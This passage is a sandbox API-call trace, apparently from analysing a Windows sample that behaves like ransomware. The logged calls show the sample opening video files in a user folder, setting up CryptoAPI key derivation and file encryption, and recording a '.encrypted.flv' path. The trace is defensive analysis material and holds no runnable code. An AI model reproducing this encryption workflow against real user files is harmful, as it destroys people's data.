(in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.444] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.444] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.444] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.447] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.447] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.447] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.448] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.448] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.448] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.448] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.449] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.449] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.449] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.449] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.449] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.449] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10977) returned 1 [0029.449] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.449] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.449] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.449] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2ae1, lpOverlapped=0x0) returned 1 [0029.449] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.449] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2ae1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.449] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10977) returned 1 [0029.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.encrypted.flv\r\n", cchWideChar=93, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 93 [0029.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.encrypted.flv\r\n", cchWideChar=93, lpMultiByteStr=0xe8f4062330, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.encrypted.flv\r\n", lpUsedDefaultChar=0x0) returned 93 [0029.449] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4061c30*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4061c30*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x5c, lpOverlapped=0x0) returned 1 [0029.450] CloseHandle (hObject=0x1fc) returned 1 [0029.450] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.450] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.451] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.451] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.451] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.451] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.451] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.452] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.452] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.453] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.453] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LeqeD7m6.flv", cchWideChar=88, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 88 [0029.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LeqeD7m6.flv", cchWideChar=88, lpMultiByteStr=0xe8f406a490, cbMultiByte=88, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LeqeD7m6.flv", lpUsedDefaultChar=0x0) returned 88 [0029.453] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LeqeD7m6.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\leqed7m6.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=88, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0029.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=88, lpWideCharStr=0xe8f404b2f0, cchWideChar=88 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LeqeD7m6.flv") returned 88 [0029.454] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.454] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.454] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.454] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.455] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.455] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.455] CloseHandle (hObject=0x1fc) returned 1 [0029.455] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.455] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.455] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.455] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.455] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.455] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.455] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.455] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.455] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.456] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.456] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.456] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.456] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.456] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.457] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.457] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.457] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199650) returned 1 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.457] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.457] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.457] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.457] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.458] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.458] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.458] PeekMessageW (in: 